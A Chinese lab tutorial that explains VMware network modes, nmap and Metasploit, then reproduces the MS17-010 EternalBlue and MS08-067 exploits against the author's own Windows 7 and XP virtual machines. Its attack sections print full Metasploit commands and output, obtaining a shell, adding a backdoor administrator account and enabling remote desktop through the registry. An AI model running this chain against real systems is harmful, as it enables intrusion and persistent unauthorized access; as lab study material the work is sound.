【Kali】vmware虚拟机三种网络连接方式,ms17-010 , ms08_067的复现

【Kali】vmware虚拟机三种网络连接方式,ms17-010 , ms08_067的复现

kali中对windowsXP、windows 7漏洞利用使用到的工具:nmap、msfconsole。

nmap

nmap是一个网络连接端扫描软件,用来扫描网上电脑开放的网络连接端。确定哪些服务运行在哪些连接端,并且推断计算机运行哪个操作系统。

通常我们在进行渗透测试的过程中需要对目标主机的端口开放状态进行探测,从而了解目标主机,进行对应的测试。

nmap使用示例

  1. nmap基本语法帮助
    nmap(或nmap --help)
  1. 相关帮助信息解析

    -p:(端口号)

  2. 普通扫描

    nmap (ip地址)

  1. 指定端口扫描
    nmap -p (端口) (ip地址)
  1. 批量端口扫描

5.1 利用","分割端口号进行批量扫描:

nmap -p 80,22,8080 (ip地址)

5.2 利用"-"分割端口号进行批量扫描:

nmap -p 80-135 (ip地址)

5.3 扫描所有端口:

nmap -p 1-65535 (ip地址)

  1. 指定端口类型进行扫描
    端口类型:
    UDP(简称U)
    TCP(简称T)

-sU :扫描UDP端口

-sT :扫描TCP端口

U:后跟UDP端口号

T:后跟TCP端口号

举栗子:

nmap -sU -p U:445 192.3.142

  1. 根据端口的常见性进行扫描
    nmap --top-ports 10 (ip地址)
  1. 根据端口的出现的概率(0-1)进行扫描
    nmap --port-ratio 0 (ip地址)
    --port-ratio 后跟概率(0-1)

nmap常用的命令讲完了,讲一下msfconsole。

msfconsole

msfconsole简称msf,是一款常用的渗透测试工具,包含了常见的漏洞利用模块和生成各种渗透文件,利用网站,手机等的漏洞将到目标靶机,操控目标靶机。

检查模块是否安装,终端输入msfconsole:

如果没有安装,使用apt命令安装:

php 复制代码
apt install metasploit-framework 

msf 控制台参数运用

  • banner 这个主要是查看metasploit的版本信息,利用模块数量、payload数量等等。
  • use 这个是使用参数。如你要使用到某个利用模块,payload等,那么就要使用到use参数
  • Search 当你使用msfconsole的时候,你会用到各种漏洞模块、各种插件等等。
  • show 如果要显示利用模块,那么就输入show exploits。如果要显示payload,那么就输入show payloads。

vmware虚拟机三种网络连接方式

vmware为我们提供了三种网络工作模式,它们分别是:Bridged(桥接模式)、NAT(网络地址转换模式)、Host-Only(仅主机模式)。

1.仅主机模式

用于物理机与虚拟机之间连接。xshell等工具可以连接。

虚拟机网卡只需配置IPADDR与NETMASK。

配置时点击查看虚拟网络编辑器中的仅主机模式所在网段,将虚拟机的ip设置在该网段。

举个栗子:

VMnet1里面显示的192.168.14这一段就是仅主机模式所在的网段,虚拟机的ip就可以设置为192.168.14.开头的ip,比如192.168.14.50。

2.NAT模式

可以连接外网,但不会有独立ip,使用物理机的网络。

除了IPADDR和NETMASK之外还需要配置GATEWAY与DNS。

GATEWAY网关可以点击虚拟网络编辑器中的NAT设置查看。


3.桥接模式

能够连接外网,使用单独的ip地址,网段需要与桥接连接的外部网络的网段相同。

同一网段(子网)间终端可直接通信,如终端A和终端B;不在同一网段(子网)的终端不能直接通信,需要通过网关才能通信。

复现时需要配置虚拟机网络为桥接模式。配置方法参考:

第一步 虚拟网络编辑器

第二步 更改设置

第三步 选择桥接模式

第四步 虚拟机设置

第五步 虚拟机网络配置文件

由于桥接模式使用单独的ip地址,请事先查看自己的网络环境有哪些ip已经被使用了,我的物理机ip为192.168.0.102,虚拟机win7 的ip为:192.168.0.103,配置kail的ip时避开这些个就行。

我的win7配置为:192.168.0.103,kali配置为:192.168.0.100

python 复制代码
cd /etc/network
python 复制代码
vim interfaces

按i编辑,在原有内容
在下方添加:

python 复制代码
auto eth0
iface eth0 inet static  //配置eth0使用静态地址
address 192.168.0.100    //配置eth0的固定IP地址,网段要和物理机的一样,且此IP未被使用
netmask 255.255.255.0   //配置子网掩码
gateway 192.168.0.1      //配置网关

添加完后按Esc,按冒号(:),冒号后面输入wq保存后退出。

重启network服务:

python 复制代码
systemctl stop NetworkManager  //NetworkManager这里注意大小写,linux是区分的。
systemctl restart networking   //重启服务。

配置完成后测试kali与win能够互相ping通。win这边需要关闭防火墙,否则kali是无论如何都ping通win的,这是我踩过坑的。

kali:

win7:

虚拟机网络配置就完成了,下面正片开始。

ms17-010

提到操作系统漏洞,大家肯定听说过耳熟能详的永恒之蓝(MS17-010)了,他的爆发源于WannaCry勒索病毒的诞生。

该病毒是不法分子利用NSA(National Security Agency,美国国家安全局)泄露的危险漏洞"EternalBlue"(永恒之蓝)进行传播 。勒索病毒肆虐,俨然是一场全球性互联网灾难,给广大电脑用户造成了巨大损失。最新统计数据显示,100多个国家和地区超过10万台电脑遭到了勒索病毒攻击、感染。 勒索病毒是自熊猫烧香以来影响力最大的病毒之一。

现在我们在win7虚拟机中对这个漏洞进行复现。

kali使用nmap扫描本网段中所有的主机,这个过程会需要数十秒:

php 复制代码
nmap 192.168.0.0/24

我这里扫描到了192.168.0.1、192.168.0.102、192.168.0.103、192.168.0.100、192.168.0.104的主机,靶机就是192.168.0.100,它的445端口是"open"的:

输入msfconsole打开MSF渗透测试工具:

这样就是开启成功了:

搜索ms17_010代码,使用msf中的auxiliary模块进行扫描:

php 复制代码
search ms17_010
php 复制代码
msf6 > search ms17_010

Matching Modules
================

   #  Name                                      Disclosure Date  Rank     Check  Description
   -  ----                                      ---------------  ----     -----  -----------
   0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1  exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   2  auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   3  auxiliary/scanner/smb/smb_ms17_010                         normal   No     MS17-010 SMB RCE Detection


Interact with a module by name or index. For example info 3, use 3 or use auxiliary/scanner/smb/smb_ms17_010

使用模块 3 auxiliary/scanner/smb/smb_ms17_010 ,扫描靶机192.168.0.103是否存在MS17-010漏洞:

php 复制代码
msf6 > use 3
msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.0.103
rhosts => 192.168.0.103
msf6 auxiliary(scanner/smb/smb_ms17_010) > run

[+] 192.168.0.103:445     - Host is likely VULNERABLE to MS17-010! - Windows 7 Home Basic 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.0.103:445     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

看到这句:Host is likely VULNERABLE to MS17-010!

主机很可能存在MS17-010!

使用永恒之蓝攻击模块 0 exploit/windows/smb/ms17_010_eternalblue对其进行攻击:

php 复制代码
msf6 auxiliary(scanner/smb/smb_ms17_010) > use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 192.168.0.103
rhosts => 192.168.0.103
msf6 exploit(windows/smb/ms17_010_eternalblue) > run

提示攻击成功:

现在我们已经可以利用这个漏洞了,我想获取靶机shell,那么就输入:shell

php 复制代码
meterpreter > shell
Process 1156 created.
Channel 1 created.
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����

出现乱码,为解决乱码,将其编码设为UTF-8,只需要再输入:

php 复制代码
chcp 65001 //65001为UTF-8的代码页

创建新用户:net user 1 123456 /add

php 复制代码
C:\Windows\system32>net user 1 123456 /add             
net user 1 123456/add
The command completed successfully.

将用户1添加至管理员:net localgroup administrators 1 /add

想要对靶机进行远程桌面连接,需要知道远程桌面默认端口号:3389有没有开启。

查看开启的端口:netstat -ano

发现3389端口并没有开启,使用命令开启:

php 复制代码
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
php 复制代码
C:\Windows\system32>REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
The operation completed successfully.

出现successfully就是成功了。端口已经开启,另起一个kali终端,输入命令:

php 复制代码
rdesktop 192.168.0.103

进行远程桌面连接。

ms08_067

MS08-067漏洞全称是"Windows Server服务RPC请求缓冲区溢出漏洞",攻击者利用受害者主机默认开放的SMB服务端口445,发送特殊RPC(Remote Procedure Call,远程过程调用)请求,造成栈缓冲区内存错误,从而被利用实施远程代码执行。

当用户在受影响的系统上收到RPC请求时,该漏洞会允许远程执行代码,攻击者可以在未经身份验证情况下利用此漏洞运行任意代码。同时,该漏洞可以用于蠕虫攻击。它影响了某些旧版本的Windows系统,包括:

Windows 2000
Windows XP
Windows Server 2003

使用winXP进行MS08-067漏洞的复现,开始之前需要配置桥接网络,关闭winXP防火墙,确保与kali能够互相ping通。

winXP:192.168.0.104

kali:192.168.0.100


开始复现:

同ms17-010一样,使用nmap扫描网段下所有主机:

php 复制代码
nmap 192.168.0.0/24
php 复制代码
Nmap scan report for 192.168.0.104
Host is up (0.00056s latency).
Not shown: 995 closed tcp ports (conn-refused)
PORT     STATE SERVICE
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
1025/tcp open  NFS-or-IIS
5000/tcp open  upnp

扫描到靶机,而且它的445端口为"open"。

进入Msfconsole并利用search语句查找漏洞利用模块。

php 复制代码
search ms08-067
php 复制代码
msf6 > search ms08-067

Matching Modules
================

   #  Name                                 Disclosure Date  Rank   Check  Description
   -  ----                                 ---------------  ----   -----  -----------
   0  exploit/windows/smb/ms08_067_netapi  2008-10-28       great  Yes    MS08-067 Microsoft Server Service Relative Path Stack Corruption              


Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/smb/ms08_067_netapi 

进入漏洞模块:use 0 或者
use exploit/windows/smb/ms08_067_netapi

设置靶机ip等参数:

php 复制代码
# 目标机ip
set RHOST 192.168.0.104
# 端口号
set RPORT 445
# 设置payload
set payload generic/shell_bind_tcp
# 攻击机ip
set LHOST 192.168.0.100
# 设置自动类型
set target 0
# 显示配置信息
show options

现在处于待触发攻击状态,输入语句exploit开始攻击:

php 复制代码
msf6 exploit(windows/smb/ms08_067_netapi) > exploit

[*] 192.168.0.104:445 - Automatically detecting the target...
[*] 192.168.0.104:445 - Fingerprint: Windows XP - Service Pack 0 / 1 - lang:Chinese - Traditional
[*] 192.168.0.104:445 - Selected Target: Windows XP SP0/SP1 Universal
[*] 192.168.0.104:445 - Attempting to trigger the vulnerability...
[*] Started bind TCP handler against 192.168.0.104:4444
[*] Command shell session 1 opened (192.168.0.100:33333 -> 192.168.0.104:4444) at 2023-08-13 01:40:25 -0400


Shell Banner:
Microsoft Windows XP [_ 5.1.2600]
-----

此时我们成功获取了Windows XP系统的Shell,我们调用"ipconfig"查看的IP地址也是目标的"192.168.0.104"。

php 复制代码
C:\WINDOWS\system32>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter ��������:

        Connection-specific DNS Suffix  . : DHCP HOST
        IP Address. . . . . . . . . . . . : 192.168.0.104
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 192.168.0.1

现在可以通过命令行对靶机进行创建文件夹、查看目录或者新建文件等行为。

php 复制代码
C:\WINDOWS\system32>mkdir yunxi
mkdir yunxi

对目标XP主机进行深度提权:

php 复制代码
# 增加用户
net user yunxi 123456 /add 
# 提升用户管理员权限
net localgroup administrators yunxi /add

开启远程连接3389端口并进行远程操作:

php 复制代码
# 开启远程连接
echo reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f > C:\WINDOWS\system32\3389.bat && call 3389.bat
# 查看网络端口
netstat -an
# 远程连接
rdesktop 192.168.0.104
php 复制代码
C:\WINDOWS\system32\yunxi>echo reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f > C:\WINDOWS\system32\3389.bat && call 3389.bat
echo reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f > C:\WINDOWS\system32\3389.bat && call 3389.bat

C:\WINDOWS\system32\yunxi>reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f   

�����ɹ�
C:\WINDOWS\system32\yunxi>netstat -an
netstat -an

Active Connections

  Proto  Local Address          Foreign Address        State
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:1025           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:3389           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:4444           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:4444           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:4444           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:5000           0.0.0.0:0              LISTENING
  TCP    192.168.0.104:139      0.0.0.0:0              LISTENING
  TCP    192.168.0.104:4444     192.168.0.100:33333    CLOSE_WAIT
  TCP    192.168.0.104:4444     192.168.0.100:38951    CLOSE_WAIT
  TCP    192.168.0.104:4444     192.168.0.100:39675    ESTABLISHED
  UDP    0.0.0.0:135            *:*                    
  UDP    0.0.0.0:445            *:*                    
  UDP    0.0.0.0:500            *:*                    
  UDP    0.0.0.0:1026           *:*                    
  UDP    127.0.0.1:123          *:*                    
  UDP    127.0.0.1:1030         *:*                    
  UDP    127.0.0.1:1900         *:*                    
  UDP    192.168.0.104:123      *:*                    
  UDP    192.168.0.104:137      *:*                    
  UDP    192.168.0.104:138      *:*                    
  UDP    192.168.0.104:1900     *:* 

另起一个kali终端,输入rdesktop 192.168.0.104,输入用户名和密码(yunxi,123456)

以上就是ms08_067漏洞的复现与利用。

相关推荐
内核程序员kevin2 小时前
TCP Listen 队列详解与优化指南
linux·网络·tcp/ip
朝九晚五ฺ6 小时前
【Linux探索学习】第十四弹——进程优先级:深入理解操作系统中的进程优先级
linux·运维·学习
自由的dream6 小时前
Linux的桌面
linux
xiaozhiwise7 小时前
Makefile 之 自动化变量
linux
意疏9 小时前
【Linux 篇】Docker 的容器之海与镜像之岛:于 Linux 系统内探索容器化的奇妙航行
linux·docker
BLEACH-heiqiyihu9 小时前
RedHat7—Linux中kickstart自动安装脚本制作
linux·运维·服务器
一只爱撸猫的程序猿9 小时前
一个简单的Linux 服务器性能优化案例
linux·mysql·nginx
我的K840911 小时前
Flink整合Hudi及使用
linux·服务器·flink
19004311 小时前
linux6:常见命令介绍
linux·运维·服务器